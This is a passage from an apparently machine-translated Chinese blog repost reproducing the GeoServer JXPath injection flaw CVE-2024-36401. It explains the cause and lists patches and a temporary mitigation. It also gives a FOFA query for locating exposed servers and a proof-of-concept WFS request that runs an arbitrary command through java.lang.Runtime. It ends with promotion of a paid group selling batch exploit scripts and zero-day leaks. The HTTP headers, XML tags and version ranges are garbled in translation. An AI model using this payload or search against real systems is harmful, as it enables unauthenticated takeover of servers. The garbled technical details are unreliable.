「漏洞复现」Geoserver JXPath表达式注入致远程代码执行漏洞 geoserver源码解析

「漏洞复现」Geoserver JXPath表达式注入致远程代码执行漏洞0x01 免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本

0x01免责声明

因传播和使用本文提供的信息而产生的任何直接或间接的后果和损失均由用户自行承担,与作者无关。对此不承担任何责任。该工具来自互联网,并经过安全自测。如有侵权,请联系我们删除。本次测试仅用于教育目的,若用于非法目的,我们与平台及本文作者没有任何关系。你对此负责。

0x02产品介绍

GeoServer 是一个用于共享、处理和编辑地理空间数据的开源服务器。对多种地图和数据标准的支持允许用户通过网络访问和操作地理信息系统(GIS)数据。

0x03漏洞威胁

2024年7月,互联网上披露了一个Geoserver式注入远程代码执行漏洞(CVE-2024-36401)。攻击者可以利用此漏洞无需身份验证即可获取服务器权限。我们鼓励受影响的客户尽快修复此漏洞。可能的。

漏洞原因

系统以不安全的方式将属性名称解析为XPath 表达式。 GeoServer 调用的GeoTools 库API 以不安全的方式将要素类型属性名称传递给commons-jxpath 库。该库可以在解析XPath 表达式时执行任意代码。此XPath 评估应仅用于复杂的功能类型(例如应用程序架构数据存储),但由于错误,此机制也适用于简单的功能类型。这可能会使所有GeoServer 实例容易受到攻击。

漏洞的影响

此漏洞可能允许远程执行代码(RCE)。未经身份验证的用户可以利用多个OGC 请求参数(例如WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和WPS 执行请求)将特制的输入发送到默认的GeoServer 安装,从而执行任意代码。这种类型的远程代码执行可以导致对系统的完全控制,严重威胁系统的安全,并可能导致数据泄露、勒索软件或更广泛的网络攻击。

冲击范围

2.25.0=地理服务器2.25.2

2.24.0=地理服务器2.24.4

地理服务器2.23.6

0x04漏洞环境

FOFA:

应用程序=\’地理服务器\’

0x05漏洞复现

示范实验

POST /geoserver/wfs HTTP/1.1

Host:你的IP

User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64) AppleWebKit/537.36(KHTML、Gecko 等) Chrome/124.0.6367.118 Safari/537.36

Accept-Encoding: gzip、deflate、br

接受: */*

接受语言: en-US;q=0.9,en;q=0.8

内容类型: 应用程序/xml

关闭连接:

wfs:GetPropertyValue 服务=\’WFS\’ 版本=\’2.0.0\’

xmlns:topp=\’http://www.openplans.org/topp\’

xmlns:fes=\’http://www.opengis.net/fes/2.0\’

xmlns:wfs=\’http://www.opengis.net/wfs/2.0\’

wfs:Query typeNames=\’topp:states\’/

wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),\’执行命令\’)/wfs:valueReference

/wfs:获取属性值

0x06批量脚本验证

核核查脚本发布

知识星球:安全源于冷漠

0x07修复建议

升级维修计划

先前版本的官方补丁已发布可供下载(https://geoserver.org/),其中包含修复的gt-app-schema、gt-complex 和gt-xsd-core jar 文件。可以从GeoServer 版本2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2 和2.18.0 的发行页面下载补丁。下载后,使用补丁文件替换原文件。

临时缓解计划

通过删除GeoServer 上的gt-complex-x.y.jar 文件(其中x.y 是GeoTools 版本;例如,如果您运行的是GeoServer 2.25.1,则为gt-complex-31.1.jar),可以暂时缓解此漏洞。这会从GeoServer 中删除易受攻击的代码,但可能会破坏GeoServer 的某些功能或导致GeoServer 部署失败,特别是如果正在使用的扩展需要gt-complex 模块。

0x08加入我们

访问知识星球,获取更多关于漏洞和批量检测POC工具的信息。

知识星球:安全源于冷漠

交友并获得限时优惠券:加入即可享受25 折优惠

地球福利:每日更新最新的漏洞POC、文档、内部工具等。

《星球介绍》:

这个星球不会切大葱或将腐烂的食物扔到街上。欢迎来到免费卖淫。如果您不满意,我们将在3 天内退款。

这个星球提供攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训、安全标准等知识库,我们每天坚持分享。

这位星主参与了十多个付费星球,定期收集优质资讯和星球分享工具。

“星球服务”:

当你加入一个星球时,你会得到:

批量验证漏洞POC脚本

0 天,共享1 天

收集和分享其他付费星球的资源

海量红蓝战斗资源

很棒的内部红色和蓝色工具和插件

伟大而全面的wiki 和漏洞库

问题及技术交流

#漏洞复现上述Geoserver JXPath表达式注入远程代码执行漏洞相关内容仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93018.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月5日 上午1:08
下一篇 2024年7月5日 上午1:22

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注